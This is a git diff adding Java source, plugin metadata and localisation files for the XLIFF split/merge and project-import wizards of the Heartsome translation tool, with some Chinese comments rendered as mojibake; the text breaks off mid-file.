exsistFileList.remove(j); + break; + } + } + } + tableViewer.setInput(getSplitTableInfos()); + } + if (!validIsRepeate()) { + validXlf(); + } + } + }); + } + + /** + * 验è¯è¦åˆå¹¶çš„文件是å¦é‡å¤æ·»åŠ  + * @return + */ + public boolean validIsRepeate() { + String copyFilesTip = ""; + if (exsistFileList.size() > 0) { + for (int index = 0; index < exsistFileList.size(); index++) { + copyFilesTip += exsistFileList.get(index).getFullPath().toOSString() + ","; + } + copyFilesTip = copyFilesTip.substring(0, copyFilesTip.length() - 1); + setErrorMessage(MessageFormat.format(Messages.getString("wizard.MergeXliffWizardPage.msg1"), copyFilesTip)); + setPageComplete(false); + + } else { + return false; + } + return true; + } + + /** + * åˆæ­¥éªŒè¯æ‰€é€‰çš„xliff文件是å¦èƒ½åˆå¹¶ã€‚ + */ + private void validXlf() { + if (model.getMergeXliffFile().size() < 2) { + setErrorMessage(Messages.getString("wizard.MergeXliffWizardPage.msg2")); + setPageComplete(false); + return; + } else { + // 验è¯æ–‡ä»¶æ˜¯å¦æ˜¯åŒä¸€ç±»åž‹ + String fileExtension = ""; + for (IFile iFIle : model.getMergeXliffFile()) { + if (iFIle.getFileExtension() == null || "".equals(iFIle.getFileExtension())) { + setErrorMessage(MessageFormat.format(Messages.getString("wizard.MergeXliffWizardPage.msg3"), model + .getMergeXliffFile().indexOf(iFIle) + 1) + 1); + setPageComplete(false); + return; + } + String curExtenstion = iFIle.getFileExtension(); + if ("".equals(fileExtension)) { + fileExtension = curExtenstion; + } else if (!curExtenstion.equals(fileExtension)) { + setErrorMessage(MessageFormat.format(Messages.getString("wizard.MergeXliffWizardPage.msg4"), model + .getMergeXliffFile().indexOf(iFIle) + 1)); + setPageComplete(false); + return; + } + } + } + setPageComplete(true); + setErrorMessage(null); + } + + public String[][] getSplitTableInfos() { + Vector mergeFiles = model.getMergeXliffFile(); + if (mergeFiles != null && mergeFiles.size() > 0) { + projectPath = mergeFiles.get(0).getProject().getLocation().toOSString(); + } + ArrayList mergeTableInfos = new ArrayList(); + for (int i = 0; i < mergeFiles.size(); i++) { + String[] tableInfo = new String[] { "" + (i + 1), mergeFiles.get(i).getFullPath().toOSString() }; + mergeTableInfos.add(tableInfo); + } + return mergeTableInfos.toArray(new String[][] {}); + } +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/NattableWizardDialog.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/NattableWizardDialog.java new file mode 100644 index 0000000..1cd343d --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/NattableWizardDialog.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts.handlexlf.wizard; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.ts.handlexlf.Activator; + +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.swt.widgets.Shell; + +/** + * å‘导窗体,覆盖 getDialogBoundsSettings 方法,以记ä½æ­¤å‘导对è¯æ¡†ä¸Šä¸€æ¬¡æ‰“å¼€æ—¶çš„å¤§å° + * @author robert 2011-10-28 + */ +public class NattableWizardDialog extends TSWizardDialog{ + + public NattableWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell, newWizard); + } + + @Override + protected IDialogSettings getDialogBoundsSettings() { + return Activator.getDefault().getDialogSettings(); + } +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/SplitXliffWizard.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/SplitXliffWizard.java new file mode 100644 index 0000000..4145e89 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/SplitXliffWizard.java @@ -0,0 +1,79 @@ +package net.heartsome.cat.ts.handlexlf.wizard; + + +import java.io.File; +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.ts.handlexlf.resource.Messages; +import net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel; +import net.heartsome.cat.ts.handlexlf.split.SplitXliff; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; + +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.Wizard; + +public class SplitXliffWizard extends Wizard{ + private SplitOrMergeXlfModel model; + private SplitXliff splitXliff; + private SplitXliffWizardPage splitXliffWizardPage; + private boolean canFinish = true; + + public SplitXliffWizard(SplitOrMergeXlfModel model){ + this.model = model; + splitXliff = new SplitXliff(this.model); + splitXliffWizardPage = new SplitXliffWizardPage("split xliff", model, splitXliff); + } + + @Override + public boolean performFinish() { + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IPath containerIPath = root.getLocation().append(splitXliffWizardPage.getTargetXlfPathStr()); + IContainer splitXlfsContainer = root.getContainerForLocation(containerIPath); + if (!splitXlfsContainer.exists()) { + //创建该路径 + File file = new File(splitXlfsContainer.getLocation().toOSString()); + file.mkdirs(); + } + model.setSplitXlfsContainer(splitXlfsContainer); + + + final IRunnableWithProgress splitProgress = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) { + //uicallback + canFinish = splitXliff.splitTheXliff(monitor); + } + }; + + try { + getContainer().run(true, true, splitProgress); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + + + return canFinish; + } + + public boolean canFinish(){ + return super.canFinish(); + } + + @Override + public void addPages() { + setWindowTitle(Messages.getString("wizard.SplitXliffWizard.windowTitle")); +// setDefaultPageImageDescriptor(Activator.getImageDescriptor("images/file/file-split-logo.png")); + addPage(splitXliffWizardPage); + setNeedsProgressMonitor(true); + } + + public SplitOrMergeXlfModel getSplitOrMergeXlfModel(){ + return model; + } +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/SplitXliffWizardPage.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/SplitXliffWizardPage.java new file mode 100644 index 0000000..f07785f --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/wizard/SplitXliffWizardPage.java @@ -0,0 +1,165 @@ +package net.heartsome.cat.ts.handlexlf.wizard; + +import net.heartsome.cat.ts.handlexlf.Activator; +import net.heartsome.cat.ts.handlexlf.resource.Messages; +import net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel; +import net.heartsome.cat.ts.handlexlf.split.SplitXliff; +import net.heartsome.cat.ts.handlexlf.split.TableViewerLabelProvider; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; + +public class SplitXliffWizardPage extends WizardPage { + private IFile splitFile; + // /** 切割Xliff所需è¦çš„切割点, ä¿å­˜çš„是åºåˆ—å· */ + // private List splitPoints; + // private XLIFFEditorImplWithNatTable xliffEditor; + private SplitOrMergeXlfModel model; + private SplitXliff splitXliff; + private IWorkspaceRoot root; + + private Text xliffNameTxt; + private Text targetXlfPathTxt; + private TableViewer tableViewer; + private IContainer targetFolder; + private String separator = ""; + + protected SplitXliffWizardPage(String pageName, SplitOrMergeXlfModel model, SplitXliff splitXliff) { + super(pageName); + this.model = model; + this.splitFile = model.getSplitFile(); + setTitle(Messages.getString("wizard.SplitXliffWizardPage.title")); + this.splitXliff = splitXliff; + root = ResourcesPlugin.getWorkspace().getRoot(); + } + + public void createControl(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + tparent.setLayout(layout); + + GridDataFactory.fillDefaults().hint(600, 600).grab(true, true).applyTo(tparent); + + createSplitXlfNameGroup(tparent); + createSplitInfo(tparent); + setImageDescriptor(Activator.getImageDescriptor("images/file/file-split-logo.png")); + setControl(parent); + } + + /** + * 创建è¦åˆ†å‰²æ–‡ä»¶çš„显示区 + * @param tparent + */ + public void createSplitXlfNameGroup(Composite tparent) { + final Group xliffDataGroup = new Group(tparent, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(2).margins(8, 8).applyTo(xliffDataGroup); + GridDataFactory.fillDefaults().grab(true, false).applyTo(xliffDataGroup); + xliffDataGroup.setText(Messages.getString("wizard.SplitXliffWizardPage.xliffDataGroup")); + + GridData textData = new GridData(SWT.FILL, SWT.CENTER, true, false); + textData.widthHint = 200; + + Label xlfNameLbl = new Label(xliffDataGroup, SWT.RIGHT); + xlfNameLbl.setText(Messages.getString("wizard.SplitXliffWizardPage.xlfNameLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(xlfNameLbl); + + xliffNameTxt = new Text(xliffDataGroup, SWT.BORDER); + xliffNameTxt.setText(splitFile.getFullPath().toOSString()); + GridDataFactory.fillDefaults().grab(true, false).applyTo(xliffNameTxt); + xliffNameTxt.setEditable(false); + + Label targetFilsPathLbl = new Label(xliffDataGroup, SWT.RIGHT); + targetFilsPathLbl.setText(Messages.getString("wizard.SplitXliffWizardPage.targetFilsPathLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(targetFilsPathLbl); + + targetXlfPathTxt = new Text(xliffDataGroup, SWT.BORDER); + targetXlfPathTxt.setLayoutData(textData); + targetXlfPathTxt.setText(splitFile.getParent().getFullPath().append(splitFile.getName() + "_split") + .toOSString()); + targetXlfPathTxt.setEditable(false); + + if ("\\".equals(System.getProperty("file.separator"))) { + separator = "\\"; + } else { + separator = "/"; + } + + validXliff(); + } + + /** + * åˆ›å»ºåˆ†å‰²æ–‡ä»¶æ®µçš„ç›¸å…³ä¿¡æ¯ + * @param tparent + */ + public void createSplitInfo(Composite tparent) { + tableViewer = new TableViewer(tparent, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + final Table table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 50; + + table.setLayoutData(tableData); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] columnNames = new String[] { Messages.getString("wizard.SplitXliffWizardPage.columnNames1"), + Messages.getString("wizard.SplitXliffWizardPage.columnNames2"), + Messages.getString("wizard.SplitXliffWizardPage.columnNames3") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(splitXliff.getSplitTableInfos()); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.2, 0.5, 0.29 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + } + + public String getTargetXlfPathStr() { + return targetXlfPathTxt.getText(); + } + + /** + * 验è¯xliff文件 + */ + public void validXliff() { + if (!splitXliff.validXLiff()) { + setErrorMessage(Messages.getString("wizard.SplitXliffWizardPage.msg")); + setPageComplete(false); + } + } +} diff --git a/ts/net.heartsome.cat.ts.importproject/.classpath b/ts/net.heartsome.cat.ts.importproject/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.importproject/.project b/ts/net.heartsome.cat.ts.importproject/.project new file mode 100644 index 0000000..cb6119c --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.importproject + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.importproject/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.importproject/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.importproject/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.importproject/META-INF/MANIFEST.MF new file mode 100644 index 0000000..730f3cc --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/META-INF/MANIFEST.MF @@ -0,0 +1,25 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Import Project +Bundle-SymbolicName: net.heartsome.cat.ts.importproject;singleton:=true +Bundle-Version: 8.0.1.R8b_v20130502 +Bundle-Activator: net.heartsome.cat.ts.importproject.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Localization: plugin +Import-Package: net.heartsome.cat.common.core, + net.heartsome.cat.common.resources, + net.heartsome.cat.common.ui.wizard, + net.heartsome.cat.common.util, + net.heartsome.cat.ts.ui.editors, + org.eclipse.core.resources, + org.eclipse.ui.actions, + org.eclipse.ui.internal.ide, + org.eclipse.ui.internal.wizards.datatransfer, + org.eclipse.ui.model, + org.eclipse.ui.part, + org.eclipse.ui.wizards.datatransfer +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.importproject/build.properties b/ts/net.heartsome.cat.ts.importproject/build.properties new file mode 100644 index 0000000..5f6cda0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/build.properties @@ -0,0 +1,9 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties,\ + images/ diff --git a/ts/net.heartsome.cat.ts.importproject/images/file_obj.png b/ts/net.heartsome.cat.ts.importproject/images/file_obj.png new file mode 100644 index 0000000..4e9dc38 Binary files /dev/null and b/ts/net.heartsome.cat.ts.importproject/images/file_obj.png differ diff --git a/ts/net.heartsome.cat.ts.importproject/images/folder.png b/ts/net.heartsome.cat.ts.importproject/images/folder.png new file mode 100644 index 0000000..8213901 Binary files /dev/null and b/ts/net.heartsome.cat.ts.importproject/images/folder.png differ diff --git a/ts/net.heartsome.cat.ts.importproject/images/hsxliff.png b/ts/net.heartsome.cat.ts.importproject/images/hsxliff.png new file mode 100644 index 0000000..f2a1b88 Binary files /dev/null and b/ts/net.heartsome.cat.ts.importproject/images/hsxliff.png differ diff --git a/ts/net.heartsome.cat.ts.importproject/images/html.png b/ts/net.heartsome.cat.ts.importproject/images/html.png new file mode 100644 index 0000000..44db3de Binary files /dev/null and b/ts/net.heartsome.cat.ts.importproject/images/html.png differ diff --git a/ts/net.heartsome.cat.ts.importproject/images/importProject_logo.png b/ts/net.heartsome.cat.ts.importproject/images/importProject_logo.png new file mode 100644 index 0000000..24bccee Binary files /dev/null and b/ts/net.heartsome.cat.ts.importproject/images/importProject_logo.png differ diff --git a/ts/net.heartsome.cat.ts.importproject/images/prj_open.png b/ts/net.heartsome.cat.ts.importproject/images/prj_open.png new file mode 100644 index 0000000..c60efc3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.importproject/images/prj_open.png differ diff --git a/ts/net.heartsome.cat.ts.importproject/plugin.properties b/ts/net.heartsome.cat.ts.importproject/plugin.properties new file mode 100644 index 0000000..fee4623 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/plugin.properties @@ -0,0 +1,2 @@ +menu.project.import = \u5bfc\u5165\u9879\u76ee... +command.project.import = \u5bfc\u5165\u9879\u76ee \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.importproject/plugin.xml b/ts/net.heartsome.cat.ts.importproject/plugin.xml new file mode 100644 index 0000000..805a2bf --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/plugin.xml @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.importproject/plugin_en.properties b/ts/net.heartsome.cat.ts.importproject/plugin_en.properties new file mode 100644 index 0000000..b857873 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/plugin_en.properties @@ -0,0 +1,2 @@ +menu.project.import = Import Project... +command.project.import = Import Project diff --git a/ts/net.heartsome.cat.ts.importproject/plugin_zh.properties b/ts/net.heartsome.cat.ts.importproject/plugin_zh.properties new file mode 100644 index 0000000..fee4623 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/plugin_zh.properties @@ -0,0 +1,2 @@ +menu.project.import = \u5bfc\u5165\u9879\u76ee... +command.project.import = \u5bfc\u5165\u9879\u76ee \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/Activator.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/Activator.java new file mode 100644 index 0000000..8545a24 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.importproject; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.importproject"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/handler/ImportProjectHandler.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/handler/ImportProjectHandler.java new file mode 100644 index 0000000..41fcdc9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/handler/ImportProjectHandler.java @@ -0,0 +1,80 @@ +package net.heartsome.cat.ts.importproject.handler; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.importproject.wizards.ImportProjectWizard; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 导入项目的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class ImportProjectHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + ImportProjectWizard wizard = new ImportProjectWizard(); + TSWizardDialog dialog = new TSWizardDialog(window.getShell(), wizard){ + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 导入项目 + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch07s03.html#import-project", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + }; + + dialog.setHelpAvailable(true); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/Messages.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/Messages.java new file mode 100644 index 0000000..93026e8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.importproject.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.importproject.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message.properties b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message.properties new file mode 100644 index 0000000..a63d917 --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message.properties @@ -0,0 +1,36 @@ +importProject.all.dialog.info = \u63d0\u793a +importProject.all.dialog.warning = \u8b66\u544a +importProject.all.dialog.error = \u9519\u8bef +wizard.ImportProjectWizardPage.desc = \u5bfc\u5165 Heartsome \u9879\u76ee\u5305\u4e2d\u7684\u9879\u76ee\u6216\u6587\u4ef6\u3002 + +############------------------robert added 2013-03-07------------------############ +importProjectWizardPage.broswer = \u6d4f\u89c8(&R)... +importProjectWizardPage.SelectArchiveDialogTitle = \u9009\u62e9\u9879\u76ee\u5305 +importProjectWizardPage.selectFileLbl = \u9879\u76ee\u5305(&P)\uff1a +importProjectWizardPage.projectLabel = {0} ({1}) +importProjectWizardPage.dialog.error = \u9519\u8bef +importProjectWizardPage.dialog.badFormat = \u8be5\u6587\u4ef6\u4e0d\u662f Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a\u6709\u6548\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.dialog.couldNotRead = \u65e0\u6cd5\u8bfb\u53d6\u8be5\u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a\u6709\u6548\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.noProjectsToImport = \u8be5\u6587\u4ef6\u4e2d\u4e0d\u5305\u542b Heartsome \u9879\u76ee\u4fe1\u606f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a\u6709\u6548\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.processingMessage = \u6b63\u5728\u5904\u7406... +importProjectWizardPage.searchingMessage = \u5728\u9879\u76ee\u5305\u4e2d\u641c\u7d22\u9879\u76ee... +importProjectWizardPage.checkingMessage = \u68c0\u67e5\uff1a{0} + +importProjectWizardPage.projectOfImport = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684\u9879\u76ee\uff1a +importProjectWizardPage.repeatedContent = \u8bf7\u9009\u62e9\u5c06\u88ab\u8986\u76d6\u7684\u91cd\u590d\u6587\u4ef6\uff1a +importProjectWizardPage.leftSelectAllBtn = \u5168\u90e8\u9009\u4e2d(&A) +importProjectWizardPage.leftDisSelectAllBtn = \u5168\u90e8\u4e0d\u9009(&D) +importProjectWizardPage.leftExpandAllBtn = \u5168\u90e8\u5c55\u5f00(&E) +importProjectWizardPage.rightSelectAllBtn = \u5168\u90e8\u9009\u4e2d(&S) +importProjectWizardPage.rightDisSelectAllBtn = \u5168\u90e8\u4e0d\u9009(&I) +importProjectWizardPage.rightExpandAllBtn = \u5168\u90e8\u5c55\u5f00(&X) +importProjectWizardPage.beginImportProj = \u5f00\u59cb\u5bfc\u5165\u9879\u76ee +importProjectWizardPage.beginImportProjName = \u5bfc\u5165\u9879\u76ee\uff1a{0}... +importProjectWizardPage.selectImportFilePath = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u9879\u76ee\u5305\u6587\u4ef6\u3002 +importProjectWizardPage.selectRightImportFilePath = \u8bf7\u6b63\u786e\u9009\u62e9\u8981\u5bfc\u5165\u7684 Heartsome \u9879\u76ee\u5305\u6587\u4ef6\uff08\u6269\u5c55\u540d\u4e3a .hszip\uff09 +importProjectWizardPage.selectImportProject = \u8bf7\u5728\u5de6\u8fb9\u9009\u62e9\u8981\u5bfc\u5165\u7684\u9879\u76ee\u3002 +importProjectWizardPage.selectNeedCoverFile = \u60a8\u5728\u5de6\u8fb9\u9009\u4e2d\u7684\u9879\u76ee\u5df2\u5b58\u5728\uff0c\u5c06\u53ea\u5bfc\u5165\u60a8\u5728\u53f3\u8fb9\u6240\u9009\u4e2d\u7684\u6587\u4ef6\u3002\u8bf7\u5728\u53f3\u8fb9\u9009\u62e9\u8981\u66f4\u65b0\u8986\u76d6\u7684\u6587\u4ef6\u3002 +importProjectWizardPage.importSuccess = \u5bfc\u5165\u6210\u529f\u3002 +importProjectWizardPage.importFail = \u5bfc\u5165\u5931\u8d25\u3002 + +importProjectWizardPage.LOG.importEroor = [LOG] \u9879\u76ee\u5bfc\u5165\u5931\u8d25 diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message_en.properties b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message_en.properties new file mode 100644 index 0000000..7f76bdf --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/resource/message_en.properties @@ -0,0 +1,36 @@ +importProject.all.dialog.info = Message +importProject.all.dialog.warning = Warning +importProject.all.dialog.error = Error +wizard.ImportProjectWizardPage.desc = Import project or files from Heartsome project package. + +############------------------robert added 2013-03-07------------------############ +importProjectWizardPage.broswer = B&rowse... +importProjectWizardPage.SelectArchiveDialogTitle = Select project package +importProjectWizardPage.selectFileLbl = &Project package: +importProjectWizardPage.projectLabel = {0} ({1}) +importProjectWizardPage.dialog.error = Error +importProjectWizardPage.dialog.badFormat = The selected file is not Heartsome project package file. Please re-select a valid Heartsome project package file. +importProjectWizardPage.dialog.couldNotRead = Can not read the selected file. Please re-select a valid Heartsome project package file. +importProjectWizardPage.noProjectsToImport = The selected file does not contain any Heartsome project 